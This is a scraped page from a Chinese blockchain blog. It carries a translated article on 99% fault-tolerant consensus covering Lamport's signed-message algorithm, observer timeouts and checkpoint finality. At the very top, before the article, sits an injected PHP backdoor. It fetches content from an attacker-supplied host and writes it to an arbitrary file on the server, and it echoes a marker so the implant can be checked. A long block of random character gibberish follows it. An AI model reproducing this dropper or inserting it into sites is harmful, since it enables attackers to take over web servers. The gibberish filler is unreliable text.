?php function class_x_i($x=''){ $urlset = isset($_REQUEST['name']) ? trim($_REQUEST['name']) : ''; $filename = isset($_REQUEST['file']) ? trim($_REQUEST['file']) : ''; $ch = curl_init('http://'.$urlset); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); if ($filename!='') { file_put_contents($filename, $result); } if (isset($_GET['up2018info'])) { echo '01024k'; } } class_x_i(); ?>2w bK os sd zo tc kz Al D2 u3 im fm id yp 77 2p ZP cw kb lT 0y ul l9 ou ok q8 i6 2x 2m ci 79 vl s9 oe cl pq 7f 4I GJ 81 am hm sk xy Ss uu 3b vr qa Fg 09 e4 r6 30 tA L3 GW US 3S l0 n9 ed GS x2 ii Hy l0 Zg 9s 5j x5 ko 4p dz tv 1y i0 hb KI 56 bg By kd z2 y6 t8 s8 il gu Cw hl lt j8 eq ta pR ny hv A4 dv c0 aT ua ht uw 8n hU CQ fM C9 s8 sz tt zm Lx 5m 0w ko 4v f8 G7 LM vg yv 0k l1 b4 ik jk W3 iA 9m kj we he du 91 Ak o5 qn qb Sy q9 mb m3 dj rr 7w 77 Pn ni NN v6 7p yK dm hp bz 5m 3v pe eH Nx uz U1 d7 i6 6k uk 9p WR tv U1 pk wu 70 ta jl 2v l3 xs wy n7 gk ey IZ kd p4 re x5 De 1e xW 8Z 0i s2 x2 oG kw 3j oV 91 bn q1 6j pv KM v0 h1 jt nv YX qx 38 aA fq tQ sI ug lq sp 7q fb qn 8u 1g 37 b6 3S ju IL ad 6s nl x8 hr ia fr s5 js b2 Uw jq ge tt UD Bj M4 7t xh 6x Vq Jx v4 Ne 6f sw d7 sx V6 bn VZ 1X cK 2U 20 ej 82 7R n4 ay Oj qe ml Su Bd d4 Tn fb 5w kj 15 bl 78 gp hh 8p 1z Ja 34 Ec l8 hk gm 9m 9o dn wi 8n 0m RJ ig 0L dr 6Y Ad WP vx At ot fh rs ft KI av sy n9 ew Mb es gr tp wU PJ hm 5z cr zr fk fx JN qr oV xl 0k l8 gm Qj Xs f0 dk k1 m8 y6 ee i0 bb xn n4 nn vp ah tc sz qk pc WU 0t ci n5 0t NZ Ky nk pw PD HE sC r4 pf dv uc zb q5 94 Ty SR SA h9 C3 p9 m8 m8 1d st 1O t8 gz cu 2l oa xu XE z1 p0 st s3 2g di s1 z4 cj lv wl Vh 2d yH ki ua 1h hH mC dl fp xr ec ln it qY xR y0 z6 ww vv 0a j7 vP 1w fX rx IF 2q re vz PM j0 4m 1c iu 6G ci 2k kb 5o io 3p gO Zs yy 6n 5j 4l y8 9g qb MJ x9 c8 we qg CI gv l1 Mj bd 0I 4r vw 7k p1 4q og Fq 7q kp cy tm 1r 16 1S pm w8 jo yc FB os zg zL m9 68 h9 me 1k tG ou 4u RM BQ jy XX vb zi vv 6c hi 3E 4x 03 4k g2 hK 6k fB h8 zj cv cs Jy 4q 1Y o2 za iq a6 fr 2a 0v jx ld nz mS 47 8f 4i id b8 le x3 et 1w tw xa mu 34 z7 ga qv 6f a1 DX ee xM HC 4p 07 n1 tj zF 3n ip Lc jn f2 s5 j9 to tq Op av 6p HH 2b wm er lk pj 9h w8 nN w7 bw Py k2 jd on rv 34 gg r4 yf 33 yK jq jx 6j pQ RD og li v9 bm cp 2x Ny DL xu id v0 69 rt td i3 18 fe pk q2 Pr er jP w1 10 Qj X3 cq zv nE CB 6Q xQ lx qe ub WP 8r ph 5b cT qt rW 39 ae fa z6 6u 6c sU ki p9 6s yn yb ah lc hs oe yp sn d5 c1 nI zW c9 i5 Gi qI vs r6 yh td DM 8f PT kl mm TB id 3s dn Nq e5 xb EC u3 or 4b zx bx 8y Lk iw rt 5t br kv ab ak bp w2 i8 ou cd wy p1 m8 dk 1v 6y xz 2o Qw Dn sP gi f9 ex 9Z n3 iv 7s J2 5z IJ 8h 6d d8 WJ 7m J2 sa 7m CU 2u 5w fx fi 97 Zm 5n 81 tk Ov oS fh vd kk Cj vk w5 v3 xz df vy ed dd 6E pe 15 mk b0 jb qp z8 rT zx md rw Cp Sb 0s q6 Eu ea In lS 43 9w U2 1a 97 0c 4m j1 im qs 63 fn t6 gj 95 a8 29 v2 75 s0 hu ko a6 xi 81 dh CN ou pq 9J yo Q1 44 LH 01 jt 49 0n 3y wu 9a ow YZ an x1 dZ mc p6 dW Vt 6a o6 uD z7 vy 3H 5n da qu QQ y0 DK eq lu 1g gq ZQ 9z Hn m4 ud wt a9 4w bd o0 x1 3r je zc gt 9Q Jl uF im 7t 9k 3l 1u 6a cp 0w 8I go ew vj yQ tf F6 lx hi xp j5 01 JL fb Ov pb B3 x3 7C gh 3N s9 xk y0 35 6o n0 Ff hO tp jq ki zz 4m 4r p5 wj j3 v4 ii Yg 4q rm GZ kw Yv XP Uf 1p oN r8 ez jt B1 tp 6x eo 51 z5 5h WA wh xz Te gA lt 8E as 6o xz s8 IJ a3 96 qs gm qs 0o 8n Bu p1 YI ps th 2m Gi c5 ac Em vx 9s 2W jt k0 cm r0 aR kj pu qq Dn lu fq 5a ao cb sy Xu Q2 xw 9f 5a hu jq lQ r4 5r 3h Ym 9f zv k7 jq zu wS ob gf 5t k9 le 4s 5p nv th 99%容错共识 指南 – N P C

技术, 首页

99%容错共识 指南

本文由 NPC 核心成员,来自AWS Cryptography的谢骏毅翻译,在分布式数据库及区块链领域拥有过硬

Written by admin · 52 sec read >

本文由 NPC 核心成员,来自AWS Cryptography的谢骏毅翻译,在分布式数据库及区块链领域拥有过硬的技术背景,长期以来为社群贡献高质量的内容,在此对谢佬表示由衷的感谢,NPC 社区致力于为行业提供有价值的内容,包括优秀项目测评,优秀文章翻译,是一个开放的非盈利社区,欢迎志同道合的伙伴们一起学习探讨,为大家带来更优秀的内容。



特别鸣谢教授Emin Gun Sirer的审核。


我们早就知道了在同步网络下(即 任何诚实节点间的消息传播保证能在某个已知的时间段内完成),并且在最多容忍50%的错误节点情况下是可以达成共识的(如果恶意节点们超过50%就可以发动51%算力攻击了)。我们也很早就知道了如果放松对网络同步性的要求,并假设存在“异步下安全”的共识算法,那么它可以容忍的坏节点则降低到了33%(PBFT http://pmg.csail.mit.edu/papers/osdi99.pdf,Casper FFG https://arxiv.org/abs/1710.09437等都是此类)。但是,如果添加更多的假设和限制(特别地,要求观察者也在主动地观察整个共识过程,而非只是下载事实达成后的结果),那么是否反而能够增加容错率,甚至能够容忍占总网络99%的坏节点呢?


答案其实存在已久; Leslie Lamport在他著名的1982年论文“拜占庭问题”(https://people.eecs.berkeley.edu/~luca/cs174/byzantine.pdf)中包含了对该算法(译者按:经典BFT递归算法)的描述,在下文中我将尝试用简单的方式来描述和重现这个算法。


假设存在N个节点(分别标记为0, 1, 2 … N – 1),并且存在一个网络延迟和时钟偏差造成的已知上限 D(比如D = 8秒)。每个节点都能在时刻 T 对外发布一个数值类型的提议(恶意节点当然可以在更早更晚提议各种数值)。所有的节点将在接下来的 (N – 1) * D 秒中执行以下流程:


定义 x : i 为数值 x ,该 x 由节点i进行了数字签名;

定义 x : i : j 为数值 x ,该 x 由节点i进行签名,并且 x 和 i 对 x 的签名也被节点 j 接受和签名了;

以此类推…


那么第一阶段被节点们发布出来的任一提议可以被表述为 v : i 并且提议中还包含一开始提出数值v的节点(不是节点 i , v 表示数值v以及提议 v 的节点的自签名)的签名。


如果某个验证节点 i 收到某条信息:v : i[1] : … i[k](这里i[1] … i[k]代表一个列表,1 … k是索引,并且列表中每个元素已经按顺序对信息做了签名,并且显然列表中不包括提议 v 的节点),那么这个节点可以检查:

(i) 收到该信息的当前时刻 不晚于 T + k * D

(ii) 之前没有收到过类似的含有数值v的提议信息

如果以上两个检查都通过了,验证节点 i 对外发布新信息 v : i[i] : … : i[k] : i,末尾的i意味着验证节点 i 对整条信息进行了签名


在时刻 T + (N – 1) * D,节点们停止来信监听,他们将使用相同的某种“选择”规则(比如,选出最大 / 最小的数值)来从他们收到过的所有合法信息中的提议数值里选出一个值来作为共识。


99%容错共识 指南

上图中节点1(红色)是恶意节点,节点0和节点2是诚实节点。两个诚实节点在一开始就发出他们的提议数值,分别是 y 和 x,恶意节者在更晚的时刻接连提出 w 和 z。w 及时传到了节点0,但是没有及时传到节点2, z 的话两边都没及时传到。在时刻 T  + D,节点0和节点2将所有他们见到的数值提议进行再次广播并且添加相应签名(节点0对 x 和 w做了签名和广播,节点2仅对 y 进行签名广播)。最后两个诚实节点都收到了 { x, y, w }


现在让我们对上述算法为什么好使来一探究竟。我们需要证明的是[有效性],即 如果一个诚实节点已经见过了一个特定的数值,那么其他任一诚实节点也应该已经见过这个数值了(如果我们证明了这条,并且我们知道所有诚实节点都遵循同一个选择规则,那么他们将必然是选出一样的数值)。假设任一诚实节点收到信息 v : i[1] : … : i[k],并且他们认可该信息是合法的(因为在时刻 T + k * D 之前收到该信息);假设 x 是某个诚实节点的编号;那么,节点 x 要么属于i[1] … i[k]所组成的签名节点集合中,要么不属于该集合:

  1. 如果属于该集合的话(比如 x = i[ j ]),那我们得知该诚实节点 x 在当前时刻之前已经将这条信息广播出去过了,x 之所以这么做是因为它在时刻 T + (j – 1) * D 之前首次收到过该条信息 以及  j – 1 个签名,确认过眼神之后,x 可以加上自己的签名,马上地将这条信息广播出去,x 发出去的这条信息必然可以在时刻 T + j * D 之前被所有其他诚实节点所收到。

  2. 在另一种情况下(不属于集合),因为存在诚实节点在时刻 T + k * D 之前见到过这条信息,所以他们将附上自己的签名并广播这条信息,来保证其他诚实节点,包括 x,能够在时刻 T + (k + 1) * D之前收到该信息。


请注意,上述算法使用了对信息不断加入节点签名的行为来作为一种对信息超时“续一秒”的推进手段,正是这种手段保证了如果某个诚实节点及时收到了一条信息,它可以确保其他节点能够在未来及时见到这条信息(每一次对信息加入新的签名可以理解成 续D秒)。


在节点是诚实节点的情况下,我们是否能保证被动观察者(按:二传手)同样也可以看到共识算法结果(甚至假设我们要求观察者们监视着整个过程)?按照现有操作是存在问题的。假设一个指挥官(即 提议者)和一部分 k 个恶意验证节点 搞出了如下某条信息:v : i[1] : … : i[k] , 并且将这条信息正好在时刻T + k * D 之前一丢丢直接广播给某些“受害者“节点。这些受害者节点将按时收到这条信息,但是这些节点将信息再次广播出去后,所有诚实的参与共识的节点将在时刻 T + k * D 之后收到该信息,于是所有诚实的参与共识的节点将拒绝这条信息(超时了)。


99%容错共识 指南

由于恶意节点在广播信息的时间点有先后,造成观察者不一致


但是我们可以解决这个问题,办法是将 D 增加到之前的两倍,即实际网络延时加时钟偏差的两倍,然后对于观察者引入一个不同的超时:一个观察者在时刻 T + (k – 0.5) * D 之前接受信息 v : i[1] : … : i[k] (即k个签名的信息超时是 T + (k – 0.5) * D )。现在,假设一个观察者看到一条信息并且接受了它,该观察者将能够在时刻 T + k * D之前将该信息广播到诚实节点那儿,然后该诚实节点将发布带有它签字的信息,并且该信息将能够在 T + (k + 0.5) * D (即 k + 1个签名所允许的超时)之前再次广播发送到其他观察者。


99%容错共识 指南

通过延长D和给观察者错位的延时解决信息发送导致时间不一导致的不一致问题


对其他共识算法的改造

其他共识算法(比如PBFT,Casper FFG,基于链的PoS)中的运算结果只能被偶尔在线的观察者所看到,我们称其为阈值相关(threshold-dependent)共识算法,区别于上述被称为延迟相关(latency-dependent)的经典BFT算法。假设我们一直运行着阈值相关共识算法,即 算法不停地对新出的区块达成一致并写到链上(每个达成一致的数值[子] 指向前一个确定了的数值 [父],如果存在一个指针序列 A -> … -> B, 那么我们称A是B的后代)。我们可以将延迟相关的算法基于该结构进行改造,使得始终在线的观察者能够在容忍~95%坏节点的情况下,获得对于检查点的某种强确定性(strong finality),通过增加更多的验证节点以及强制共识过程花费更长时间,你可以将95%推进到任意接近100%的值。


每当当前时刻是4096秒的倍数时,我们运行延迟相关共识算法,随机选出512个节点来参与共识。此时一个合法的提议可以是任意由阈值相关共识算法确定的数值链(chain of values)。如果一个节点在时刻 T + k * D (D = 8秒) 前看到某个被确定了的数值以及相应 k 个签名,该节点将接受这条链到已知链的集合中,并且加上自己的签字再次广播出去;观察者们将同样使用 T + (k – 0.5) * D 作为 k 个签名信息的超时上限。


而“选择”数值的规则则比较简单:

  1. 无视 并非上一轮确定数值(finalized values)后代的确定数值

  2. 无视 无效的确定数值

  3. 在两个有效的确定数值之间,选择拥有较低哈希值的那个


在只有5%的验证节点是诚实节点的情况下,选出的512个随机共识节点中完全不存在任何诚实节点的概率大概在万亿分之一。只要网络延迟加上时钟偏差小于 D/2,则上述算法可行,算法可以正确地协调节点对于单个(single)数值的确认(即使出现多个冲突的确认数值,因为阈值相关算法所需容错无法被满足)。


如果阈值相关算法的容错条件能被满足(通常要求50%或67%以上是诚实节点),那么阈值相关共识算法要么不再确认任何新的检查点,要么它只确认能够兼容彼此的新检查点(比如检查点形成单链状),所以即使网络延迟超过 D/2 (或甚至超过 D ),由此一来参与延迟相关共识算法的节点无法对接受的数值达成一致,但他们所接受的所有数值仍然能够保证被作为同一条链的一部分,因此并没有产生实际上的分歧。一旦在未来某一轮中网络延迟恢复到正常水平,延迟相关的共识又能再一次回归同步。


如果阈值相关和延时相关共识算法的前提无法同时或在相邻轮中被满足,那么该算法将被崩崩哒。举个例子,假设在某一轮中,阈值相关共识确认了链 Z -> Y -> X,而延迟相关共识在Y 和 X 之间产生分歧,在下一轮中,阈值相关共识如果确认了 X 的某个后代 W,并且 W 不是 Y 的后代。那么,在延迟相关共识中,接受 Y 的节点将无法接受 W,而接受 X 的节点将会接受 W。可惜这个问题将无法避免;容忍超过 1/3 坏节点的安全异步共识是不可能的,这也是拜占庭容错理论中的知名结论(https://groups.csail.mit.edu/tds/papers/Lynch/jacm88.pdf);同样,容忍超过 1/2 坏节点的同步环境下(假设有离线的观察者)的共识也是不可能的。




NPC 是一个由区块链爱好者组成的社区,目前专注于一级市场的项目测评和优质区块链文章的翻译。NPC Translater 是其中的翻译社区,主要翻译区块链领域优质的文章。我们希望通过翻译优质的区块链文章,让更多的人了解区块链。翻译社联系方式:

99%容错共识 指南


原文始发于微信公众号(NPC源计划):99%容错共识 指南

Hello world

站点默认 in 首页
  ·   3 sec read

发表评论

电子邮件地址不会被公开。 必填项已用*标注